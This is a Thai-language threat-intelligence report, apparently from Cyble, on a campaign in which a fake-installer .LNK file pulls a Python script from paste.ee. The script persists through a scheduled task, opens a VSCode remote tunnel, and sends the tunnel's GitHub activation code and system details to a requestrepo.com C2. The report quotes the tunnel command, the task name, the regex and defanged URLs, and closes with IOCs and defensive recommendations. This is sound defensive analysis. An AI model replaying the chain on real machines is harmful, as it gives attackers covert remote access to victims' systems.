Cyble Research and Intelligence Lab (CRIL) ได้เปิดเผยแคมเปญที่ใช้ไฟล์ .LNK ที่น่าสงสัยเป็น attack vector ในการโจมตีเบื้องต้น โดยไฟล์นี้อาจถูกส่งผ่านอีเมล spam และดาวน์โหลดแพ็คเกจ Python ซึ่งจากนั้นจะใช้เพื่อรันสคริปต์ Python ที่ถูก obfuscated ซึ่งถูกดึงมาจากเว็บไซต์ paste.ee โดยในขณะเผยแพร่รายงานนี้ สคริปต์ดังกล่าวไม่ถูกระบุว่าเป็นอันตรายใน VirusTotal (VT) ทำให้ยากต่อการตรวจสอบจากมาตรการด้านความปลอดภัยทั่วไป
เมื่อทำการรันสคริปต์ Python จะสร้างการแฝงตัวบนระบบโดยการสร้าง scheduled task ด้วยสิทธิ์ system และมีลำดับความสำคัญสูง สคริปต์จะตรวจสอบว่า Visual Studio Code (VSCode) ถูกติดตั้งอยู่บนเครื่องของเหยื่อหรือไม่ หากไม่พบ สคริปต์จะดาวน์โหลด VSCode CLI แบบสแตนด์อโลนจากแหล่งที่เชื่อถือได้ ด้วยการใช้ VSCode สคริปต์จะสร้าง remote tunnel โดยแชร์รหัสการเปิดใช้งานกับกลุ่มผู้ไม่หวังดี ซึ่งช่วยให้สามารถเข้าถึงเครื่องของเหยื่อได้โดยไม่ได้รับอนุญาต
VSCode Remote – Tunnels extension ส่วนใหญ่ถูกใช้เพื่อเชื่อมต่อกับเครื่องระยะไกล เช่น พีซีเดสก์ท็อป หรือ virtual machine (VM) ผ่านช่องทางที่ปลอดภัย ซึ่งช่วยให้ผู้ใช้สามารถเข้าถึงเครื่องนั้นได้จาก VSCode client ใดก็ได้โดยไม่จำเป็นต้องใช้ SSH อย่างไรก็ตาม ในแคมเปญนี้กลุ่มผู้ไม่หวังดีได้ใช้ประโยชน์จากฟีเจอร์นี้ในการสร้างการเชื่อมต่อระยะไกลกับระบบของเหยื่อเพื่อวัตถุประสงค์ที่เป็นอันตราย
วิธีการโจมตีนี้สะท้อนถึงกลยุทธ์ที่เคยถูกพบในแคมเปญของกลุ่ม Stately Taurus ที่เป็นกลุ่ม APT ของจีน ซึ่งถูกบันทึกไว้โดยนักวิจัย Unit42 โดยในรายงานนี้จะตรวจสอบว่ากลุ่มผู้ไม่หวังดีใช้เครื่องมือที่ถูกลิขสิทธิ์ เช่น VSCode และ GitHub เพื่อปกปิดกิจกรรมของตน และสร้างการเชื่อมต่อระยะไกลโดยไม่ได้รับอนุญาตได้อย่างไร
การวิเคราะห์ทางเทคนิค
CRIL ได้ระบุแคมเปญที่เกี่ยวข้องกับไฟล์ .LNK ที่น่าสงสัยซึ่งปลอมเป็นโปรแกรมติดตั้ง เมื่อทำการรัน มันจะแสดงข้อความปลอมว่า “ติดตั้งสำเร็จ” เป็นภาษาจีน (“安裝成功”) อย่างไรก็ตาม ในเบื้องหลัง มันจะดาวน์โหลดส่วนประกอบเพิ่มเติมอย่างเงียบ ๆ โดยใช้เครื่องมือ curl รวมถึงแพ็กเกจ Python distribution ที่ชื่อว่า “python-3.12.5-embed-amd64.zip”
จากนั้นไฟล์ .LNK จะสร้างไดเรกทอรีที่ “%LOCALAPPDATA%\Microsoft\Python” และทำการแตกไฟล์เนื้อหาจาก zip archive โดยใช้ tar.exe ลงในไดเรกทอรีนี้ จากนั้นจะดาวน์โหลดสคริปต์ที่เป็นอันตรายจากเว็บไซต์ paste.ee ผ่าน URL “hxxps[:]//paste[.]ee/r/DQjrd/0” และบันทึกเป็น “update.py” ในไดเรกทอรีเดียวกัน เมื่อดาวน์โหลดเสร็จ สคริปต์ “update.py” จะถูกรันโดยใช้ “pythonw.exe” โดยไม่แสดงหน้าต่างคอนโซล
Update.py
สคริปต์จะเริ่มต้นโดยการตรวจสอบว่า Visual Studio Code (VSCode) ถูกติดตั้งอยู่ในระบบแล้วหรือไม่ โดยทำการตรวจสอบการมีอยู่ของไดเรกทอรีที่ตั้งอยู่ที่ “%LOCALAPPDATA%\microsoft\VScode” หากไม่พบไดเรกทอรีนี้ แสดงว่า VSCode ยังไม่ถูกติดตั้ง สคริปต์จะดำเนินการดาวน์โหลด VSCode Command Line Interface (CLI) จาก Microsoft “hxxps://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli[.]zip” เมื่อดาวน์โหลดเสร็จแล้ว ไฟล์ zip จะถูกแตกออกมา และไฟล์ปฏิบัติการ “code.exe” จะถูกวางไว้ในไดเรกทอรี “%LOCALAPPDATA%\microsoft\VScode”
การสร้างการแฝงตัวบนระบบ (Persistence)
จากนั้นสคริปต์จะดำเนินการสร้าง scheduled task ชื่อว่า “MicrosoftHealthcareMonitorNode” เพื่อให้แน่ใจว่าการดำเนินการที่เป็นอันตรายของมันจะดำเนินการต่อได้ โดย task นี้ถูกออกแบบมาเพื่อรันสคริปต์ “update.py” โดยใช้ “pythonw.exe” ซึ่งจะทำงานโดยไม่แสดงหน้าต่างคอนโซล ทำให้การดำเนินการที่เป็นอันตรายนี้ถูกซ่อนไว้ ก่อนที่จะสร้างรายการใน Task Scheduler สคริปต์จะตรวจสอบว่ามีอยู่แล้วหรือไม่โดยการรันคำสั่ง “schtasks /query /tn MicrosoftHealthcareMonitorNode” เพื่อหลีกเลี่ยงการสร้าง task ซ้ำ
การตั้งค่าของ task นี้จะแตกต่างกันไปตามระดับสิทธิ์ของผู้ใช้ สำหรับผู้ใช้ที่ไม่มีสิทธิ์ผู้ดูแลระบบ task จะถูกตั้งค่าให้รันทุกสี่ชั่วโมง โดยเริ่มตั้งแต่เวลา 8:00 น. เพื่อให้แน่ใจว่าสคริปต์ที่เป็นอันตรายจะถูกรันในช่วงเวลาปกติ ในระบบที่ผู้ใช้มีสิทธิ์ระดับผู้ดูแลระบบ task จะถูกตั้งค่าให้ทำงานเมื่อมีการเข้าสู่ระบบ โดยทำงานด้วยสิทธิ์ระบบที่สูงขึ้น และมีความสำคัญสูง ซึ่งทำให้สามารถควบคุมได้มากขึ้น และลดโอกาสที่จะถูกตรวจพบ
การสร้าง Remote Tunnel
จากนั้นสคริปต์จะตรวจสอบว่า “code.exe” กำลังทำงานอยู่ในเบื้องหลังหรือไม่ โดยตรวจสอบเอาต์พุตของคำสั่ง “tasklist” หากพบว่า “code.exe” ไม่ทำงานอยู่ สคริปต์จะดำเนินการรัน “code.exe” เพื่อออกจากระบบเซสชันระยะไกลที่ทำงานอยู่ ซึ่งทำได้โดยใช้คำสั่ง “code.exe tunnel user logout” ซึ่งจะทำให้การเชื่อมต่อระยะไกลที่เชื่อมต่อกับระบบของเหยื่ออยู่ปิดลง ขั้นตอนนี้มีความสำคัญกับกลุ่มผู้ไม่หวังดี เนื่องจากช่วยให้สามารถสร้าง Remote Tunnel ใหม่สำหรับการติดต่อในอนาคตกับระบบของเหยื่อได้
หลังจากตรวจสอบให้แน่ใจว่า tunnel ที่มีอยู่ถูกปิดแล้ว สคริปต์จะเริ่มกระบวนการใหม่โดยใช้คำสั่ง
- code.exe –locale en-US tunnel –accept-server-license-terms –name <COMPUTERNAME>
คำสั่งนี้จะเริ่มต้น remote tunnel และสคริปต์จะเชื่อมโยงกับบัญชี GitHub โดยอัตโนมัติเพื่อการตรวจสอบสิทธิ์ ขณะนี้ผลลัพธ์ของคำสั่ง “code.exe” จะถูกบันทึกในไฟล์ที่ชื่อว่า “output.txt” ภายในไดเรกทอรี “%localappdata%\microsoft\VSCode” นอกจากนี้เนื้อหาของ “output.txt” จะถูกคัดลอกไปยังไฟล์อีกไฟล์หนึ่งที่ชื่อว่า “output2.txt” ในไดเรกทอรีเดียวกัน เพื่อดึงรหัสการเปิดใช้งานที่เป็นตัวอักษร และตัวเลข 8 ตัวสำหรับบัญชี GitHub
จากนั้นสคริปต์จะอ่านไฟล์ “output2.txt” และระบุรหัสการเปิดใช้งานบัญชี GitHub โดยใช้รูปแบบทั่วไป “และใช้โค้ด (\w{4}-\w{4})” โค้ดที่ถูกดึงออกมาจะถูกบันทึกลงในตัวแปรเพื่อใช้ในขั้นตอนถัดไปของการโจมตี ทำให้สามารถดำเนินกิจกรรมที่เป็นอันตรายต่อไปได้
การส่งข้อมูลออก (Exfiltration)
จากนั้นกลุ่มผู้ไม่หวังดีจะรวบรวมข้อมูลระบบของเหยื่อโดยการเก็บชื่อโฟลเดอร์จากไดเรกทอรีต่าง ๆ รวมถึง “C:\Program Files”, “C:\Program Files (x86)”, “C:\ProgramData”, และ “C:\Users” นอกจากนี้ กลุ่มผู้ไม่หวังดียังรวบรวมรายชื่อ process ที่กำลังทำงานอยู่บนเครื่องของเหยื่อ และส่งข้อมูลนี้ไปยัง C2 Server ของกลุ่มโดยตรงที่ “hxxp://requestrepo.com/r/2yxp98b3“ ซึ่ง RequestRepo.com เป็นเครื่องมือสำหรับวิเคราะห์ HTTP request และ DNS ที่เข้ามา แต่กลุ่มผู้ไม่หวังดีใช้มันเพื่อรวบรวมข้อมูลที่ถูกขโมยมาจากเครื่องของเหยื่อ
นอกจากนี้กลุ่มผู้ไม่หวังดียังรวบรวมข้อมูลที่สำคัญมากขึ้น เช่น การตั้งค่าภาษาของระบบ, ตำแหน่งทางภูมิศาสตร์, ชื่อคอมพิวเตอร์, ชื่อผู้ใช้, โดเมนผู้ใช้, รหัสการเปิดใช้งาน remote tunnel และรายละเอียดเกี่ยวกับสิทธิ์ของผู้ใช้ ข้อมูลทั้งหมดนี้จะถูกเข้ารหัสเป็น base64 เพื่อปกปิดก่อนที่จะถูกส่งไปยัง C2 Server ผ่าน POST request
ผลกระทบ
หลังจากที่กลุ่มผู้ไม่หวังดีได้รับข้อมูลที่ถูกขโมยมา พวกเขาสามารถเข้าสู่ระบบด้วยบัญชี GitHub ที่ URL “hxxps://github.com/login/device” ซึ่งกลุ่มผู้ไม่หวังดีสามารถใส่รหัสเปิดใช้งานข้อมูลที่ถูกขโมยมาเพื่อเข้าถึงเครื่องของเหยื่อโดยไม่ได้รับอนุญาต
การเข้าถึงเครื่องของเหยื่อโดยไม่ได้รับอนุญาต ทำให้กลุ่มผู้ไม่หวังดีสามารถดู และจัดการไฟล์ และไดเรกทอรีที่เก็บอยู่ในระบบของเหยื่อได้
การเข้าถึงนี้ไม่เพียงแต่ช่วยให้กลุ่มผู้ไม่หวังดีสามารถเรียกดูไฟล์ของเหยื่อได้ แต่ยังช่วยให้พวกเขาสามารถดำเนินการคำสั่งผ่านเทอร์มินัลได้ ด้วยการควบคุมนี้ กลุ่มผู้ไม่หวังดีสามารถดำเนินการต่าง ๆ เช่น การติดตั้งมัลแวร์, การดึงข้อมูลที่สำคัญ หรือการเปลี่ยนแปลงการตั้งค่าของระบบ ซึ่งอาจนำไปสู่การใช้ประโยชน์จากระบบ และข้อมูลของเหยื่อเพิ่มเติม
นักวิจัยของ Unit42 อธิบายว่า กลุ่มผู้ไม่หวังดีสามารถเรียกใช้เครื่องมือหลายอย่าง รวมถึง mimikatz, LaZagne, In-Swor และ Tscan เพื่อดำเนินกิจกรรมที่เป็นอันตรายหลายอย่างในระบบของเหยื่อ
คำแนะนำ
- ใช้โซลูชันการป้องกันระดับ endpoint ขั้นสูงที่รวมการวิเคราะห์พฤติกรรม และความสามารถในการเรียนรู้ของเครื่อง เพื่อระบุ และบล็อกกิจกรรมที่น่าสงสัย รวมถึงกิจกรรมที่เกี่ยวข้องกับแอปพลิเคชันที่ถูกลิขสิทธิ์ เช่น VSCode
- ตรวจสอบ scheduled tasks ทุกระบบเป็นประจำเพื่อตรวจหารายการที่ไม่ได้รับอนุญาต หรือผิดปกติ ซึ่งสามารถช่วยตรวจจับกลไกการแฝงตัวที่สร้างขึ้นโดยกลุ่มผู้ไม่หวังดี
- ให้ความรู้แก่ผู้ใช้งานเกี่ยวกับความเสี่ยงในการเปิดไฟล์ หรือลิงก์ที่น่าสงสัย โดยเฉพาะที่เกี่ยวข้องกับไฟล์ .LNK และแหล่งที่ไม่รู้จัก
- จำกัดสิทธิ์ของผู้ใช้งานในการติดตั้งซอฟต์แวร์ โดยเฉพาะเครื่องมือที่สามารถถูกใช้ประโยชน์ได้ เช่น VSCode นอกจากนี้ ควรใช้การอนุญาตให้ติดตั้งแอปพลิเคชันเพื่อควบคุมว่าแอปพลิเคชันใดสามารถติดตั้ง และทำงานบนระบบได้
- ติดตั้งเครื่องมือการตรวจสอบขั้นสูงที่สามารถตรวจจับ traffic ในเครือข่ายที่ผิดปกติ, การพยายามในการเข้าถึงที่ไม่ได้รับอนุญาต และพฤติกรรมที่ผิดปกติในระบบ, ตรวจสอบ log ของระบบ และแอปพลิเคชันเป็นประจำ
MITRE ATT&CK® Techniques
Tactic | Technique | Procedure |
Execution (TA0002) | Command and Scripting Interpreter: Python (T1059.006) | Update.py is downloaded and executed by the shortcut file |
Persistence (TA0003) | Scheduled Task/Job: Scheduled Task (T1053.005) | “MicrosoftHealthcareMonitorNode” scheduled task is created for non-admin users |
Privilege Escalation (TA0004) | Scheduled Task/Job: Scheduled Task (T1053.005) | “MicrosoftHealthcareMonitorNode” scheduled task is created for admin users with SYSTEM privilege |
Defense Evasion (TA0005) | Masquerading: Match Legitimate Name or Location (T1036.005) | Creates a folder “%localappdata%/Microsoft/Python” directory |
Discovery (TA0007) | System Information Discovery (T1082) | Collects system’s language settings, geographical location, computername, username, and userdomain |
Discovery (TA0007) | File and Directory Discovery (T1420) | Collects folder names present in program files and program data directory |
Discovery (TA0007) | Process Discovery (T1057) | “tasklist” command is used to gather a list of currently running processes. |
Command and Control (TA0011) | Application Layer Protocol: Web Protocols (T1071.001) | The VSCode tunnel feature is used to access the victim’s system. |
Indicators Of Compromise
Indicators | Indicator Type | Description |
281766109f2375a01bad80478fd18841eccaefc1ee9277179cc7ff075d1beae2 | SHA-256 | Shortcut file |
c7f07bdfb91653f53782885a3685436e2e965e1c5f4863c03f5a9825c0364489 | SHA-256 | update.py |
hxxp://requestrepo.com/r/2yxp98b3 | C&C | POST request sent to this URL |
hxxps://paste[.]ee/r/DQjrd/0 | URL | Downloads update.py |
ที่มา : cyble.com
You must be logged in to post a comment.